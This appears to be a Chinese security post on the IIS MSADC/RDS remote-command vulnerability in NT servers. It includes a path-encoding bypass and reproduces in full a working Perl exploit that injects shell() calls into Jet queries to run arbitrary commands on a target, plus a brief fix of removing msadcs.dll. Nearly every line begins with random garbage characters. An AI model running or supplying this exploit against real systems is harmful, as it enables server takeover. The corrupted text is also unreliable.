IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
O4R\]B#Xu b#_RZ 涉及程序:
2ioHhcYdJU Microsoft NT server
~>CvZ7K +RooU?Aq 描述:
7:jLZ!mgi 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
7f>=-sv C"I
jr=w 详细:
t(z]4y 如果你没有时间读详细内容的话,就删除:
gNCS*a c:\Program Files\Common Files\System\Msadc\msadcs.dll
=D`8,n [ 有关的安全问题就没有了。
/lBK )( ~lj[> |\Oj 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
E 2nz Q~,Mzt"}W 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
P<PZ4hNx 关于利用ODBC远程漏洞的描述,请参看:
sA2-3V<t8 p'R<yB)V http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P 45Irir xp^RAVXq` 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
\&Yn)|! http://www.microsoft.com/security/bulletins/MS99-025faq.asp F3|^b{'zO 4aXIRu%#7 这里不再论述。
_**Nlp*% 8
lggGt 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
}S> 4.8 [H h-F#|R /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
FIq'W:q: 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
*#=Ij r~ nR_Zrm nfEbu4| #将下面这段保存为txt文件,然后: "perl -x 文件名"
W==~9 6 s=VU\ #!perl
9!( 8o #
n5}]C{s' # MSADC/RDS 'usage' (aka exploit) script
OC=&!< #
Bj@>iw?g' # by rain.forest.puppy
;R?@
D] #
0AB a&'h # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ofy"SM # beta test and find errors!
CWdsOS= T fLqxioqZ use Socket; use Getopt::Std;
@DysM~I
getopts("e:vd:h:XR", \%args);
:q9! 37hdZt., print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
a-NTA }Ng P`m if (!defined $args{h} && !defined $args{R}) {
<M:BN6-yG print qq~
7e"}ojt$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
94tfR$W;- -h <host> = host you want to scan (ip or domain)
kdNo<x1o -d <seconds> = delay between calls, default 1 second
FGV
L[\ -X = dump Index Server path table, if available
^')8-aF
. -v = verbose
rW?WdEg -e = external dictionary file for step 5
j9
nw,x$ [^hW>O=@TN Or a -R will resume a command session
2zC4nF)>O Ta?J;&<u]/ ~; exit;}
m{q'RAw &n<YmW?" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
82LE9<4A if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
noWF0+% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\|HtE(uCM1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
EX]+e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
a'VQegP(f\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:kgh~mx5LF xi (@\A if (!defined $args{R}){ $ret = &has_msadc;
d( v"{N} die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
a/J<(sak~X digc7;8L print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rq%]CsRY5 . "cmd /c ";
si0}b~t $in=<STDIN>; chomp $in;
Hv;xaT<}V
$command="cmd /c " . $in ;
o}AXp@cqi qDdO-fPev if (defined $args{R}) {&load; exit;}
F-,gj{s khy'Y&\F; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
63fYX" &try_btcustmr;
)@wC6Ij e;.,x 5+ print "\nStep 2: Trying to make our own DSN...";
{5 dVK &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
't<iB&wgF 07 LyB\l~ print "\nStep 3: Trying known DSNs...";
~5HkDtI) &known_dsn;
Olzw)WjG E+L7[ print "\nStep 4: Trying known .mdbs...";
DGvuo 8 &known_mdb;
2
}xePX9? qk& F>6<9* if (defined $args{e}){
u]*7",R
uU print "\nStep 5: Trying dictionary of DSN names...";
+<bj}" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
N3G9o`k I5"wa:Z print "Sorry Charley...maybe next time?\n";
^+(5[z exit;
%vmd2}dA A?YYR%o%' ##############################################################################
P+CV4;Xz rNN>tpZ} sub sendraw { # ripped and modded from whisker
Jm4uj&}3 sleep($delay); # it's a DoS on the server! At least on mine...
Y'/6T]a my ($pstr)=@_;
\[G'cE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
I!/32* s1t die("Socket problems\n");
YmljHQP if(connect(S,pack "SnA4x8",2,80,$target)){
mb*Yw6q select(S); $|=1;
s#$t!F??9 print $pstr; my @in=<S>;
!9d7wPUFr select(STDOUT); close(S);
+g1>h,K 3 return @in;
H!;N0",]N } else { die("Can't connect...\n"); }}
IyO0~Vx> * F!B4go ##############################################################################
hW*o;o7u <'\Nv._2a sub make_header { # make the HTTP request
u&~Xgq5[ my $msadc=<<EOT
5_9`v@-4_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
w{tA{ { User-Agent: ACTIVEDATA
X'OpR Host: $ip
k0Vri$x Content-Length: $clen
J jAxNviG Connection: Keep-Alive
A'EI1_3{ C%4ed# ADCClientVersion:01.06
N'b GL% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1H-Wk MHwfJ{"zo --!ADM!ROX!YOUR!WORLD!
2s}S9 Content-Type: application/x-varg
KM &P5} Content-Length: $reqlen
8^_:9&) i 7C|AiSH EOT
'o&d!
; $msadc=~s/\n/\r\n/g;
S*l/
Sa@ return $msadc;}
lT[,w9 $ ;@;aeu ##############################################################################
^wy jIKg* @ sub make_req { # make the RDS request
n@pwOHQn<| my ($switch, $p1, $p2)=@_;
ed'[_T}T3t my $req=""; my $t1, $t2, $query, $dsn;
<)d%c%f'` "~Fg-{jM% if ($switch==1){ # this is the btcustmr.mdb query
INndTF $query="Select * from Customers where City=" . make_shell();
~(GvjB/C8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
67EGkW?hbt $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
>nkVZ;tL Z}O]pm>=G elsif ($switch==2){ # this is general make table query
qGX@mo({ $query="create table AZZ (B int, C varchar(10))";
S257+ K9 $dsn="$p1";}
O>)eir7
QFnuu-82" elsif ($switch==3){ # this is general exploit table query
x}2nn)fdZ $query="select * from AZZ where C=" . make_shell();
SkDr4kds $dsn="$p1";}
@!iS`u o@A`AA9 elsif ($switch==4){ # attempt to hork file info from index server
M7BpOmK' $query="select path from scope()";
P#TPI*qw $dsn="Provider=MSIDXS;";}
QGNKQ`~ CVO_F=; elsif ($switch==5){ # bad query
xa`xHh{0 $query="select";
,!>
~izB $dsn="$p1";}
4Uny.C] Yo %U{/e $t1= make_unicode($query);
7~2_'YX>: $t2= make_unicode($dsn);
th{J;a $req = "\x02\x00\x03\x00";
S$b)X"h $req.= "\x08\x00" . pack ("S1", length($t1));
8*-)[+s9il $req.= "\x00\x00" . $t1 ;
,Ee5}#dI $req.= "\x08\x00" . pack ("S1", length($t2));
hP:>!KJ $req.= "\x00\x00" . $t2 ;
u-~ec{oBu $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
DVd8Ix <
return $req;}
1XiA 6vNW)1{nn ##############################################################################
(H:c80/V 8i;1JA sub make_shell { # this makes the shell() statement
&l cfX\y return "'|shell(\"$command\")|'";}
^mC~<pP( :uYZ1O ##############################################################################
.5 E)dU i?^L",[ sub make_unicode { # quick little function to convert to unicode
2wpJ)t*PF my ($in)=@_; my $out;
1tbA-+ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]O;*Y{:Y return $out;}
Wl3S]4A FKL4`GEm ##############################################################################
/US% s EI=~*&t sub rdo_success { # checks for RDO return success (this is kludge)
";U~wZW_ my (@in) = @_; my $base=content_start(@in);
`GE8?UO- if($in[$base]=~/multipart\/mixed/){
[w}- )&c return 1 if( $in[$base+10]=~/^\x09\x00/ );}
,|c;x1|O return 0;}
_HM?p(H@ |}{gE=] ##############################################################################
`N[@lV\xp! =.s0"[% sub make_dsn { # this makes a DSN for us
4lPO*:/ my @drives=("c","d","e","f");
ln_&Ux+l print "\nMaking DSN: ";
QP~["%}T foreach $drive (@drives) {
:G6CWE print "$drive: ";
E$lbm>jsb$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
=b66H]h? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
l4DBGZB . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
q=^;lWs4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
glC,E> return 0 if $2 eq "404"; # not found/doesn't exist
(?A
c`H if($2 eq "200") {
<5L99<E foreach $line (@results) {
4evN^es'I_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_L=-z*a\ } return 0;}
l!gX-U%- `Fcr`[ ##############################################################################
"(jD*\8x bB0/FiY7o sub verify_exists {
\i?bt0 bM my ($page)=@_;
2RZa} my @results=sendraw("GET $page HTTP/1.0\n\n");
6,4vs+(|\ return $results[0];}
Lvt3S
.l nHF66,7t ##############################################################################
Gt{%O>P8t 5~pxu sub try_btcustmr {
-pJ\_u/&%` my @drives=("c","d","e","f");
TgJ+:^+0 my @dirs=("winnt","winnt35","winnt351","win","windows");
,$!F,c N?c~AEk9U foreach $dir (@dirs) {
}bihlyB&Q print "$dir -> "; # fun status so you can see progress
st??CX2 foreach $drive (@drives) {
'WHI.*= print "$drive: "; # ditto
8nZ_. $reqlen=length( make_req(1,$drive,$dir) ) - 28;
nt"\FZ*;3 $reqlenlen=length( "$reqlen" );
"~ =O`5V $clen= 206 + $reqlenlen + $reqlen;
!hJ!ck]M 6
JI8l`S my @results=sendraw(make_header() . make_req(1,$drive,$dir));
;a|%W4 " if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@D[+@N else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
K!AA4!eUzM h}|.#!C3 ##############################################################################
uj)vh BZv:E?1z sub odbc_error {
u~,hTY(% my (@in)=@_; my $base;
zvGncjMkC my $base = content_start(@in);
#e =E if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
p+ReQ.5| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5(2 C $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Tcv/EST $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<FR!x#!
return $in[$base+4].$in[$base+5].$in[$base+6];}
qYoU\y7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
7*K2zu3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,2U $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/\qzTo .Erv\lv* ##############################################################################
l?b*T#uIk '_Q';T_n99 sub verbose {
)Ko~6.:5H my ($in)=@_;
8 # BR\ return if !$verbose;
D?dS/agA print STDOUT "\n$in\n";}
Lo}T%0"G mb`h ##############################################################################
"*HEXru#B ^:$ShbX"P sub save {
R'1j my ($p1, $p2, $p3, $p4)=@_;
IRR b^Q6 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
E3{kH
7_'\ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Vug[q=i close OUT;}
Hi2JG{i @/N]_2@8; ##############################################################################
14l6|a mz x$(u sub load {
#lik: ? my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
t%,:L.?J# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
p< pGqW @p=<IN>; close(IN);
bz 7?F! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
OZz/ip-!lc $target= inet_aton($ip) || die("inet_aton problems");
;y7+ Q print "Resuming to $ip ...";
J@i9)D_ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
"PS ) "t if($p[1]==1) {
Ik,N/[ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
9W-"mD; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
jT]R"U/Q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=oq= ``% if (rdo_success(@results)){print "Success!\n";}
`c^">L else { print "failed\n"; verbose(odbc_error(@results));}}
EqBTN07dZS elsif ($p[1]==3){
"5ISKuL if(run_query("$p[3]")){
uwi.Sg11 print "Success!\n";} else { print "failed\n"; }}
?Vh#Gr elsif ($p[1]==4){
E:uTjXt if(run_query($drvst . "$p[3]")){
,jW a&7 print "Success!\n"; } else { print "failed\n"; }}
cM<08-:v exit;}
N_FjEZpX M<=e~';H ##############################################################################
f`rI]v|@ xFIzq sub create_table {
6~>h;wC my ($in)=@_;
'"c`[L7Wn $reqlen=length( make_req(2,$in,"") ) - 28;
tCRsaDK> $reqlenlen=length( "$reqlen" );
aMT=pGU $clen= 206 + $reqlenlen + $reqlen;
BaUuDo/ZO my @results=sendraw(make_header() . make_req(2,$in,""));
F.@|-wq& return 1 if rdo_success(@results);
a-nn[j my $temp= odbc_error(@results); verbose($temp);
3A =\Mb return 1 if $temp=~/Table 'AZZ' already exists/;
'~7zeZ' return 0;}
j4`+RS+q eHIcfp@& ##############################################################################
\J#&]o)Y )lz)h*%# sub known_dsn {
L&=r-\.ev # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|+[Y_j my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
b>#=7; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
7hLh} "banner", "banners", "ads", "ADCDemo", "ADCTest");
E{^W- a3A3mBw foreach $dSn (@dsns) {
4hfq7kq7( print ".";
O~?d;.b next if (!is_access("DSN=$dSn"));
%h,&N D if(create_table("DSN=$dSn")){
(F3R!n print "$dSn successful\n";
CGb4C(%-7 if(run_query("DSN=$dSn")){
c/j+aj0.v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Eg}U.ss^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
SjF(;0kC
}7xcHVO8- ##############################################################################
<dVJV?i; Wl+spWqW sub is_access {
W1LR ,:$ my ($in)=@_;
5G`fVsb $reqlen=length( make_req(5,$in,"") ) - 28;
R>5Xv%R $reqlenlen=length( "$reqlen" );
sX}#L $clen= 206 + $reqlenlen + $reqlen;
gLFTnMO my @results=sendraw(make_header() . make_req(5,$in,""));
JvP>[vb my $temp= odbc_error(@results);
<R~;|&o,$ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
#,1)@[ return 0;}
<u],R.S) Bva2f:)K| ##############################################################################
ox\D04:M R>&8%%# sub run_query {
\L}7.fkb8 my ($in)=@_;
y!rJ}e $reqlen=length( make_req(3,$in,"") ) - 28;
darbL_1 $reqlenlen=length( "$reqlen" );
5}! 36SO\ $clen= 206 + $reqlenlen + $reqlen;
5'V-Ly)*% my @results=sendraw(make_header() . make_req(3,$in,""));
\MdieO* return 1 if rdo_success(@results);
<Ter\o5% my $temp= odbc_error(@results); verbose($temp);
][#|5UK8L return 0;}
9:=:P> 3^$=XrD ##############################################################################
Bc-/s(/Eq $b7@S`5 sub known_mdb {
})?-)fFD my @drives=("c","d","e","f","g");
f#7=N{wm my @dirs=("winnt","winnt35","winnt351","win","windows");
S,avvY.U\ my $dir, $drive, $mdb;
GDiyFTr my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q"S,<I<f lF40n4} # this is sparse, because I don't know of many
9`"#OQPn1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
F~7TE91C "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
W:9l"' "\\system32\\certmdb.mdb",
AGO"), "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
V,8Z!.MG BJ'pe[Xa5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F!4V!VWA} "\\cfusion\\cfapps\\forums\\forums_.mdb",
(#)XRm{t "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
N>Uxq&)! "\\cfusion\\cfapps\\security\\realm_.mdb",
0V^I.S/q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
tTubW=H "\\cfusion\\database\\cfexamples.mdb",
2|WM?V& "\\cfusion\\database\\cfsnippets.mdb",
fU$_5v4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
G+k wG)K "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>LH}A6dUC "\\cfusion\\brighttiger\\database\\cleam.mdb",
&RI;!qn6( "\\cfusion\\database\\smpolicy.mdb",
R9"}-A "\\cfusion\\database\cypress.mdb",
]$sb<o
.a "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
rKT.~ZP\ "\\website\\cgi-win\\dbsample.mdb",
J6>tGKa+e "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_% \% "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
6-g>(g ); #these are just
T{-gbo`Yji foreach $drive (@drives) {
.=d40m foreach $dir (@dirs){
!#*#ji xo foreach $mdb (@sysmdbs) {
BpX` 49 print ".";
$e,r>tgD if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
j+q) print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
cD)9EFo if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
H5
:,hrZY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
AGjjhbGB } else { print "Something's borked. Use verbose next time\n"; }}}}}
>ZeARCf"f TXf60{:f foreach $drive (@drives) {
Z5*(xony0 foreach $mdb (@mdbs) {
N[fwd=$\# print ".";
xirq$sEl if(create_table($drv . $drive . $dir . $mdb)){
L<B)BEE. print "\n" . $drive . $dir . $mdb . " successful\n";
^Pu:&:ki if(run_query($drv . $drive . $dir . $mdb)){
W2zG"Q print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,`k6@4 } else { print "Something's borked. Use verbose next time\n"; }}}}
/(u? k%Q }
VZ">vIRyi| 'iOaj0f ##############################################################################
n\<7`, ,S<) ) sub hork_idx {
s16, *;Z print "\nAttempting to dump Index Server tables...\n";
>ke.ZZV? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5ug|crX $reqlen=length( make_req(4,"","") ) - 28;
;volBfv $reqlenlen=length( "$reqlen" );
}; M@JMu, $clen= 206 + $reqlenlen + $reqlen;
:=5X)10 my @results=sendraw2(make_header() . make_req(4,"",""));
_'X if (rdo_success(@results)){
26 1? 8&c my $max=@results; my $c; my %d;
Oo FMOlb.Z for($c=19; $c<$max; $c++){
T}29(xz-(h $results[$c]=~s/\x00//g;
X Z3fWcw[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6%:~.ZfN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
bhbTloCR $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
])%UZM6 $d{"$1$2"}="";}
N`3^:EJL8 foreach $c (keys %d){ print "$c\n"; }
mO(Y>|mm } else {print "Index server doesn't seem to be installed.\n"; }}
so/0f1R?~ G-K{ ##############################################################################
=n_z `I 4`fV_H.8 sub dsn_dict {
k'PvQl"I open(IN, "<$args{e}") || die("Can't open external dictionary\n");
a^E>LJL while(<IN>){
Sl'$w4s
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
~-uf%= next if (!is_access("DSN=$dSn"));
^6F, lS _t if(create_table("DSN=$dSn")){
z 0zB&} print "$dSn successful\n";
)PYh./_2 if(run_query("DSN=$dSn")){
%|^,Q -i, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?9!9lSH6% print "Something's borked. Use verbose next time\n";}}}
H+]h+K9\7 print "\n"; close(IN);}
fo`R=|L[ , /jHhKW ##############################################################################
5JK'2J& %g89eaEZ sub sendraw2 { # ripped and modded from whisker
B!8X?8D sleep($delay); # it's a DoS on the server! At least on mine...
8faT@J'e; my ($pstr)=@_;
{D :WXvI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!<VP[%2L~ die("Socket problems\n");
2Ub-ufkU if(connect(S,pack "SnA4x8",2,80,$target)){
Li0+%ijM print "Connected. Getting data";
i gjn9p&_ open(OUT,">raw.out"); my @in;
5K682+^5 select(S); $|=1; print $pstr;
@]8flb
)T while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
BA@M>j6d close(OUT); select(STDOUT); close(S); return @in;
7ncR2-{g } else { die("Can't connect...\n"); }}
~Cw7.NA{3 Kng=v~)N' ##############################################################################
o"z;k3(i$7 S')DAx sub content_start { # this will take in the server headers
Z]bG"K3l my (@in)=@_; my $c;
v.vkQQ0[9 for ($c=1;$c<500;$c++) {
PYs0w6o if($in[$c] =~/^\x0d\x0a/){
T5e#Ll/ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3O1Lv2)_ else { return $c+1; }}}
4g}r+!T return -1;} # it should never get here actually
NZADHO@0 v@8SMOe% ##############################################################################
P$N5j~* {D(l#;,iX2 sub funky {
@JLN3 my (@in)=@_; my $error=odbc_error(@in);
-%P}LaC< if($error=~/ADO could not find the specified provider/){
.d$Q5Qae print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\ Ucv<S exit;}
BhbfPQ if($error=~/A Handler is required/){
!wfUD2K1 print "\nServer has custom handler filters (they most likely are patched)\n";
+~of# exit;}
nnE'zk<" if($error=~/specified Handler has denied Access/){
p[At0Gc
L print "\nServer has custom handler filters (they most likely are patched)\n";
p1i}fGS exit;}}
c9Cc%EK YO?o$Hv16 ##############################################################################
$]}K ; ,O-_Pv sub has_msadc {
G,^ ?qbHg my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
8\:>;XG6f my $base=content_start(@results);
0+SZ-] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Z1+Ewq3m return 0;}
a_{'I6a*, S% Ky+0 ########################
S
Te8*=w 77aUuP7Iw be]/ROP>H 解决方案:
@(E6P;+{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
_LfbEv<,T 2、移除web 目录: /msadc